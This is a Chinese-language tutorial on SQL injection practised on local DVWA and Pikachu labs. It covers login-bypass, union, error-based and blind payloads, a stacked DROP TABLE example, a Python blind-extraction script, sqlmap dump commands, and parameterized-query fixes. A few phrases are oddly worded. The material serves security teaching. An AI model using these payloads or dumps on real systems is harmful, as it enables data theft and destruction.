做安全这一行,SQL注入大概是每个Web方向的人躲不开的“第一课”。哪怕现在自动化工具已经足够强大,我还是建议你先亲手把这套原理在靶场里走通一遍。这个漏洞不只出现在CTF题目里,真实业务系统的登录框、搜索框、订单查询接口,只要SQL语句写得不严谨,照样能给你来个“意外惊喜”。这篇我就从靶场实操出发,把SQL注入从原理到验证、再到防护完整拆一遍,覆盖万能密码绕过、联合查询、盲注、sqlmap验证这些最常见的场景,尽量让零基础的朋友也能照着操作、理解每一步在干什么。
我不会去讨论任何未授权的攻击行为,所有演示都基于DVWA、Pikachu这类本地靶场。你只需要准备好Docker或者PHP环境,就能跟完整个流程。学完之后你不仅会“打”,还会知道怎么“防”,写代码的时候能下意识避开这类坑。
1. SQL注入到底是怎么发生的
1.1 万能密码背后的逻辑
先看一个最经典的登录绕过场景,很多新手第一次接触SQL注入就是从这来的。假设后端登录逻辑是下面这样:
$sql = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . md5($_POST['password']) . "'";正常情况下,你输入用户名admin,密码123456,拼接出来的语句是:
SELECT * FROM users WHERE username = 'admin' AND password = 'e10adc3949ba59abbe56e057f20f883e'这没什么问题。但如果你在用户名字段输入admin' or '1'='1,SQL语句就变成:
SELECT * FROM users WHERE username = 'admin' or '1'='1' AND password = 'xxx'注意看条件运算顺序:OR的优先级低于AND,所以整体判断变成了“username是admin,或者1等于1,并且密码正确”。再看清楚一点,'1'='1'这个条件恒为真,那么只要password那边也满足条件,整条语句就能查出记录。实际上更通用的写法是:
admin' or '1'='1' -- --- -是SQL注释符,后面的内容不再参与判断。这样整条SQL相当于:
SELECT * FROM users WHERE username = 'admin' or '1'='1'条件恒真,直接绕过登录。这就是常说的一号员工“万能密码”。
1.2 数据意外变成了代码
网上有很多文档管SQL注入叫“代码注入”,但为了理解透彻,我更愿意把它描述成:用户输入的数据,被当成SQL代码的一部分执行了。
用生活里的例子类比,就像你把一张写好问题的表格交给访客填,本来期待对方只填答案,结果对方在“姓名”栏里写了一行命令,而后面的处理程序还真的把他写的内容当成指令去跑。SQL注入也是一样,本该是“值”的那段字符串,因为拼接进了SQL语句,变成了“结构”的一部分。
很多漏洞代码的长相都差不多,无非是把外部参数用.或者+直接拼到SQL字符串里。比如:
String sql = "SELECT * FROM product WHERE id = " + request.getParameter("id");sql = "SELECT * FROM user WHERE name = '%s'" % name$sql = "SELECT id, name FROM user WHERE id = " . $_GET['id'];只要存在这种拼接模式,外部输入就有机会改变SQL的原有结构。本质上是“数据”和“代码”没有分离。防注入的核心思想,也是围绕“强制数据只能当数据用”来展开,后面防护章节再细说。
1.3 为什么老司机看参数就知道有没有戏
判断一个参数有没有注入点,主要看它最终会出现在SQL语句的哪个位置、用什么引号包着、是数字还是字符串,这决定了闭合方式。
- 数字型参数:
WHERE id = $id,一般不需要加引号闭合,直接传1 and 1=1这类内容就能拼接进去。 - 字符型参数:
WHERE name = '$name',需要先闭合前面的单引号,再调整后续逻辑。 - 搜索型参数:
WHERE title LIKE '%$keyword%',闭合方式多一层%'处理。
不同闭合方式对应不同payload写法。这也是为什么同一个靶场里,关卡一用联合查询很顺,关卡二却总是“注入无效”,多半就是引号没闭合对。判断方法也很直接:先给参数加一个单引号,看页面是否报错;再加一个恒真条件,看页面是否正常。页面表现差异一出来,基本就能锁定注入类型了。
2. 常见注入类型与判别思路
2.1 联合查询注入:最直观的一种
联合查询注入适合页面会把SQL查询结果直接显示出来的场景。原理是让原来的查询什么都不返回,再用UNION拼接我们自己的查询语句,让结果回显到页面上。
典型判断列数的做法:
1' ORDER BY 1-- - 1' ORDER BY 2-- - 1' ORDER BY 3-- -不断加大数字,直到报错。数字比实际列数多1时,数据库会报“列数不匹配”的错。确定列数后,就能用UNION拿到数据:
1' UNION SELECT 1,2,3-- -上面那个payload里,页面哪个位置显示了数字2,就说明哪个展示位可以利用。接着把2替换成database()、user(),把敏感信息一点点拖出来:
1' UNION SELECT 1,database(),3-- - 1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -information_schema.tables是MySQL的系统库,保存了所有表的信息。明白这个套路之后,你会发现联合查询最吃“列数判断”这个基本功。列数弄不准,后面全白搭。
2.2 报错注入、布尔盲注与时间盲注
现实中的接口不会都那么“配合”,很多查询结果不直接回显,这时候就要靠报错注入和盲注。
报错注入利用的是数据库函数在报错信息里回带数据。以MySQL为例,updatexml、extractvalue这类函数都有这个特性:
1' AND updatexml(1,concat(0x7e,(SELECT database())),1)-- -0x7e是波浪号~的十六进制,用于分隔数据。执行后数据库报错信息里会带上数据库名。报错注入的前提是页面能输出数据库错误信息,如果报错被统一封装成了“系统繁忙”,这条路就走不通。
布尔盲注针对的是“页面连报错都不显示,但真假条件响应不同”的情况。靠一个恒真、一个恒假条件去判断:
1' AND 1=1-- - # 页面正常 1' AND 1=2-- - # 页面异常接着用substr()、ascii()等函数逐字符猜数据:
1' AND ascii(substr(database(),1,1))>100-- -时间盲注针对的是“页面真假响应完全一样”的情况。利用sleep()函数,让数据库停顿几秒:
1' AND if(ascii(substr(database(),1,1))>100,sleep(3),0)-- -页面响应时间明显变长,就说明条件成立。时间盲注效率最低,但适用面最广,也是写自动化脚本练手的好场景。
列个表把这几种类型做一下区分:
| 注入类型 | 页面特征 | 典型判断方式 | 效率 |
|---|---|---|---|
| 联合查询 | 查询结果直接回显 | ORDER BY判断列数 | 高 |
| 报错注入 | 数据库错误信息回显 | updatexml等函数报错 | 中 |
| 布尔盲注 | 真/假条件页面响应不同 | 1=1、1=2对比 | 低 |
| 时间盲注 | 页面响应无差异 | sleep函数延迟 | 极低 |
| 堆叠注入 | 支持多条语句执行 | 分号分隔语句 | 视环境而定 |
2.3 别忽略的补充类型
除了上面四种,还有几个“进阶款”,在CTF和实际授权测试中也会遇到。
- 堆叠注入:用分号把多条SQL语句串起来执行,比如
1'; DROP TABLE x;-- -,但并非所有数据库连接和中间件都允许多语句执行,所以判断时要单独验证。 - 宽字节注入:常见于数据库编码为GBK、并且程序对单引号做了转义的情况。用
%df'这类payload让转义符\被“吃掉”,从而闭合引号。Pikachu靶场里有专门的宽字节注入关卡,建议实操感受一下。 - 文件读写注入:利用
INTO OUTFILE或LOAD_FILE读写服务器文件,前置条件非常苛刻,需要高权限、知道绝对路径、secure_file_priv不被限制。CTFShow这类平台上偶尔会出写文件getshell的题目,属于授权的比赛环境中才会玩的玩法。
我的建议是:先吃透联合查询和布尔盲注,再扩展其他类型。因为万变不离其宗——定位注入点、判断闭合方式、回显或盲注获取数据,这三步是所有注入类型的公共骨架。
3. 靶场实操:DVWA与Pikachu通关记录
3.1 环境搭建这一步很关键
实操前先把靶场搭起来。我自己的习惯是用Docker,干净、好清理。
# DVWA docker run -d -p 8080:80 vulnerables/web-dvwa # Pikachu(社区维护镜像,按需搜索使用) docker run -d -p 8081:80 area39/pikachu没有Docker环境的话,也可以下载Pikachu源码放进PHPStudy或XAMPP的WWW目录,配好MySQL就能跑。DVWA用Docker启动后,访问http://127.0.0.1:8080,默认账号admin、密码password,进到首页先点Create/Reset Database初始化数据库。
Pikachu是中文界面,每关都有提示和源码审计入口,对新手特别友好。它的提示会直接告诉你这关注入的类型、闭合方式,适合用来建立思路;DVWA的界面更接近“原始靶场”,适合检验自己独立思考的能力。
注意:所有靶场都是本地环境,不会对他人系统产生任何影响。无论你未来做渗透测试还是学习研究,都务必先拿到书面授权,这是行业铁律。
3.2 DVWA联合查询注入手动走一遍
DVWA的低安全等级SQL注入关卡,输入框就是一个ID查询。开局先输入1,页面正常显示用户信息;输入1',页面弹出数据库错误。这说明ID直接被拼进了SQL语句,而且存在字符型注入。
第一步判断注入点:
1 # 正常 1' # 报错 1' AND '1'='1 # 正常 1' AND '1'='2 # 无输出输入1' AND '1'='1正常,输入1' AND '1'='2没结果,说明根布尔条件可以影响查询结果,注入点成立。
第二步判断列数:
1' ORDER BY 1-- - 1' ORDER BY 2-- - 1' ORDER BY 3-- -前两个正常,第三个报错,说明表有2列。
第三步联合查询回显数据:
1' UNION SELECT 1,2-- -页面会显示两个数字,其中第二个数字的位置可以显示数据库信息。把2替换成database():
1' UNION SELECT 1,database()-- -拿到当前库名dvwa后继续查表:
1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- -然后查字段、拖数据,链路都是通的。整个流程下来,你会对“拼接SQL到底有多危险”产生非常直观的体感。
3.3 Pikachu字符型注入与万能密码绕过
Pikachu的“字符型注入”关卡,URL参数是类似?name=admin的形式。直接传admin,页面会把查询结果显示出来。加上单引号测试admin',页面报错,说明存在字符型注入。
绕过的payload可以这样写:
admin' OR '1'='1' -- '这串东西闭合了原来的单引号,让OR条件恒真,然后注释掉后面的内容。提交后页面直接返回了表中所有用户信息。这就是万能密码绕过的核心思想。
Pikachu还有个独立的“万能密码登录”关卡,场景换成了登录表单,思路一模一样。自己动手把上面的payload在登录框里试一遍,体会一下原本只想接收“用户名”的代码,是如何被输入变成新SQL逻辑的。
3.4 盲注场景下的手工判断与Python脚本辅助
Pikachu的“布尔盲注”关卡,页面不会回显查询结果,但输入and 1=1和and 1=2时页面内容有变化。这类场景下手工猜数据很要命,我习惯直接写Python脚本辅助。
先手工确认注入点:
kobe' AND 1=1-- - kobe' AND 1=2-- -确认差异后,写脚本逐字符猜数据库名:
import requests url = "http://127.0.0.1:8081/vul/sqli/sqli_blind.php" chars = "abcdefghijklmnopqrstuvwxyz0123456789_-.{}" result = "" for i in range(1, 30): found = False for c in chars: # 判断database()第i个字符的ASCII码是否等于ord(c) payload = f"kobe' AND ascii(substr(database(),{i},1))={ord(c)}-- -" data = {"name": payload, "submit": "查询"} r = requests.post(url, data=data) if "kobe" in r.text: # 页面显示正常内容时说明条件成立 result += c found = True print(f"[*] database: {result}") break if not found: break print(f"[+] final: {result}")这个脚本的核心逻辑就是:遍历每个位置,对每个候选字符逐一测试恒真条件,直到页面出现“正常”特征。布尔盲注效率低,但脚本化之后思路非常清晰。时间盲注的脚本就是在payload里换成if(ascii(...)>...,sleep(3),0),然后把判断条件从“页面变化”改成“请求耗时是否超过2秒”。
实操心得:写盲注脚本最容易翻车的地方是判断特征。有些页面不管你查询成不成立,都会返回同样长度的HTML,差异只在某个隐藏字段或状态码上。所以写脚本之前,先手工用恒真、恒假两个条件各请求一次,用diff工具对比响应体,找出最稳定的差异点再写循环。
4. 实际渗透中怎么验证一个可疑参数
4.1 手动验证五步法
实际测试里遇到的系统五花八门,不可能每个参数都无脑上工具。我一般按照下面的顺序手动验证:
- 加单引号:
?id=1',观察页面是否报错、回显是否异常。 - 恒真恒假对照:
?id=1 AND 1=1正常、?id=1 AND 1=2异常,基本能确认注入存在。 - 排序判断:
ORDER BY 1、ORDER BY 10,逐步加数字判断列数。 - 联合查询回显:列数确认后用
UNION SELECT试回显位。 - 注释与编码绕过CS:如果特殊字符被过滤,尝试
-- -、#、%23、大小写混合、URL编码等方式。
注意数字型和字符型要区分开:如果参数是数字型,直接拼AND 1=1即可;如果是字符型,需要先闭合引号。一个快速判断技巧是输入1 AND 1=1和1 AND 1=2,如果都正常,很可能被当成了字符串处理,再试1' AND 1=1-- -。
4.2 sqlmap验证与数据获取的基本用法
手动确认注入点后,用sqlmap可以节省大量时间。常用命令先放出来:
# 判断注入点 python sqlmap.py -u "http://127.0.0.1:81/sqli.php?id=1" --batch # 获取所有数据库 python sqlmap.py -u "http://127.0.0.1:81/sqli.php?id=1" --dbs --batch # 获取当前数据库 python sqlmap.py -u "http://127.0.0.1:81/sqli.php?id=1" --current-db --batch # 获取指定数据库的表 python sqlmap.py -u "http://127.0.0.1:81/sqli.php?id=1" -D dvwa --tables --batch # 获取表的字段并dump数据 python sqlmap.py -u "http://127.0.0.1:81/sqli.php?id=1" -D dvwa -T users --columns --batch python sqlmap.py -u "http://127.0.0.1:81/sqli.php?id=1" -D dvwa -T users --dump --batchPOST参数的话,用-data "name=admin&submit=查询"指定请求体。有些注入点藏在Cookie或User-Agent里,可以用--headers或者--cookie手动带上。
sqlmap有个参数叫--level和--risk。默认level是1,很多注入点藏在参数内部,不提高level测不出来。我一般从--level=2 --risk=1起步,如果测不出来再升到3。risk调太高容易触发一些危险操作,非授权环境千万别开。
注意:sqlmap是利器,但不是免死金牌。工具误报率并不低,尤其遇到WAF、参数多重编码的时候,它可能会把业务参数错误识别成注入点。所以我对工具的态度始终是“工具验证,手动兜底”,先用第4.1节的方法确认了,再用sqlmap批量取数据。
4.3 容易被忽略的验证场景
实际渗透中,注入点不一定都在URL的GET参数上。常见的还有:
- POST表单参数:登录框、查询框,需要抓包改包。
- JSON里嵌套的参数值。
- Cookie里的会话标识或用户标识。
- User-Agent、Referer、X-Forwarded-For等请求头。
- 文件名参数、排序字段、导入导出文件名。
尤其排序字段这种地方,开发者经常直接拼接前端传上来的字段名:
SELECT * FROM products ORDER BY {sort_column}这种场景下不能用UNION,但可以用报错注入和布尔盲注验证。我在实际授权测试时遇到过把order字段拼进SQL的系统,直接用if(1=1,id,name)这种payload能判断出注入点,再把条件换成猜表名的逻辑就能持续深入。
还有一个坑是“半成品”输入校验:后端只校验了GET参数,没校验POST参数;或者只校验了主参数,没校验附属参数。手动测试时要把同一条请求里所有可控点都试一遍,别只盯着一个id不放。
5. 防护方案与代码修复建议
5.1 参数化查询才是根治方案
前面反复说,SQL注入的本质是“数据变成代码”。那么最干净的解法就是让数据永远没有机会变成代码——参数化查询(预编译)。
拿PHP的PDO举个例子:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->execute([$_POST['username'], md5($_POST['password'])]);Java的PreparedStatement同理:
String sql = "SELECT * FROM user WHERE id = ?"; PreparedStatement ps = conn.prepareStatement(sql); ps.setInt(1, Integer.parseInt(request.getParameter("id")));Python的sqlite3或SQLAlchemy也一样:
cursor.execute("SELECT * FROM user WHERE name = ?", (name,))为什么这样能防住?因为预编译阶段SQL语句的骨架已经固定,用户输入只作为参数值传入,不再参与语法解析。你输入再接近SQL的字符串,数据库也只会把它当成一个“字符串值”。类比一下:预编译是发一张已经印好列出的调查表,用户只能在空格里填内容,没办法新增一列或者改表格结构。
注意到一个细节:参数化查询解决的是“值位置”的注入;如果拼进去的是表名、列名这类标识符,预编译也救不了你,因为标识符本身就是SQL结构的一部分。这种场景要额外用白名单校验,比如只允许从前端预设的几个取值里选。
5.2 纵深防御:别只依赖一把锁
参数化查询是基础,但现实中代码总会有漏网之鱼。我习惯从下面几个方向做纵深防护:
- 输入校验:能用白名单就白名单,比如枚举状态值、下拉选项,不要用正则黑名单去“猜”攻击payload。
- 最小权限数据库账号:Web应用连接数据库的账号只给增删改查权限,不给
FILE、SUPER、建表删表权限。这样即使被注入,攻击者也没法拖库写文件。 - 报错处理统一化:生产环境关闭数据库错误回显,所有异常统一返回“系统繁忙”。这一步能让报错注入直接失效。
- 安全过滤函数:旧代码里如果没有预编译,可以先用
mysqli_real_escape_string这类函数做转义,但只能作为过渡方案,不能当成根治手段。 - WAF与日志监控:部署WAF拦截明显注入特征,同时记录SQL异常日志,定期排查慢查询和报错日志,出现
SELECT * ... OR 1=1这类特征要立刻追查。
纵深防御的核心逻辑是:单点失效不影响整体安全。即使预编译漏了一条语句,低权限账号也限制了损失范围;即使权限没控住,报错统一化也让攻击者少了一条回显路径。
5.3 修复实例:从漏洞代码到安全代码
拿文章开头的登录逻辑做一次修复前后的对比:
修复前:
$sql = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . md5($_POST['password']) . "'"; $result = mysqli_query($conn, $sql);修复后:
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->bind_param("ss", $_POST['username'], md5($_POST['password'])); $stmt->execute(); $result = $stmt->get_result();同样的用户输入,修复前会被拼接成新SQL逻辑,修复后只会被当作username和password的字符串值。用admin' or '1'='1 -- -再试一次,无论输入什么,SQL语句的骨架始终是WHERE username = ? AND password = ?。
再举个搜索场景的例子。修复前:
$sql = "SELECT * FROM article WHERE title LIKE '%" . $_GET['kw'] . "%'";修复后:
$stmt = $conn->prepare("SELECT * FROM article WHERE title LIKE ?"); $search = '%' . $_GET['kw'] . '%'; $stmt->bind_param("s", $search); $stmt->execute();注意%要拼在参数里,不要拼在SQL模板里。这是一个很容易踩的小坑,但规范写法一下就能养成习惯。
6. 常见问题与排查技巧实录
6.1 靶场通关时我踩过的坑
练靶场时,新手最容易在几个地方卡住:
ORDER BY和UNION SELECT的列数不对齐。有时候ORDER BY 3不报错,但UNION SELECT 1,2,3报错,往往是因为前面的查询实际返回1列,而你把后面的UNION列数猜错了。联合查询要求前后两个SELECT的列数一致,多试几次总能对齐。
引号闭合不正确。明明是字符型注入,你却在payload里一直用数字型思路测,自然测不出来。先加单引号看报错,确认闭合方式再说。
注释符被过滤或失效。有些靶场会把--过滤掉,可以改用#、--+、%23,或者利用条件逻辑短路绕过注释需求。比如admin' OR '1'='1这种写法不需要注释也能让整个条件成立。
宽字节处理。Pikachu的宽字节注入关,数据库编码是GBK时,可以用%df%27去闭合引号。这个细节很考验对字符集的理解,卡壳时把前后端编码分别查一遍。
盲注脚本判断特征不对。我之前写布尔盲注脚本时用页面里某个用户名是否存在做判断,某次测试时发现不管条件对不对,那个用户名都会出现,后来对比响应体才发现判断点选错了。所以每次写脚本前一定先做一次恒真恒假响应diff。
6.2 实际测试中的误报排查
自动化工具报出注入点,不代表字节真的就有漏洞。遇到误报,我从这几个方面排查:
- 参数是否真的影响了SQL执行。如果系统对参数做了严格类型转换,就算WAF报出注入特征,实际也利用不了。
- 报错是否真的是数据库错误。有些接口用自定义异常,内容写得很像SQL错误,但实际上只是业务校验。
- 编码与大小写问题。URL编码、JSON转义、多级参数解析可能导致payload失效,这时候需要逐层解码确认数据最终长什么样。
- 同一个payload在是否登录态下的表现。登录态影响查询结果,容易把正常业务差异误判成布尔盲注的响应差。
排查误报的核心方法是控制变量。固定其他所有参数,只修改目标参数,对比响应体、状态码、响应时间三个维度,能把误判概率降到最低。
6.3 避坑清单速查
| 场景 | 常见坑 | 正确处理 |
|---|---|---|
| 判断列数 | ORDER BY一直不报错 | 确认查询结果被截断或自动补列,观察完整响应并尝试更大数字 |
| 字符型闭合 | 只测数字型payload | 先加单引号测报错,再补注释符 |
| 注释被过滤 | -- -无效 | 换#、--+、%23或条件短路绕过 |
| 盲注脚本 | 判断特征不明确 | 预先diff恒真恒假响应,找到最稳定差异点 |
| 报错不回显 | 报错注入失效 | 尝试布尔盲注或时间盲注 |
| 宽字节场景 | 普通payload无效 | 确认编码,尝试%df%27 |
| 工具误报 | sqlmap报注入了 | 手动五步法复核,确认参数真正影响SQL |
| 生产系统 | 直接用工具扫描 | 先拿授权,再小流量测试,避免影响业务 |
最后再说个我自己的体会。SQL注入最核心的不是背payload,而是理解“数据意外变成了代码”这件事。你拿到一个参数,先冷静分析它会被拼到SQL的哪个位置、用什么引号包裹、需不需要闭合,思路顺着“闭合→条件→回显/盲注”走,一通百通。建议把DVWA和Pikachu这两个靶场所有注入关卡都刷一遍,尤其是Pikachu的中文提示和源码审计入口,能把每一步的思考过程讲得很清楚。这套基本功练扎实了,再上手sqlmap这类工具,你才不会因为误报和漏报手足无措。安全这条路没有捷径,靶场里的每一遍练习,最后都会变成你判断漏洞时的直觉。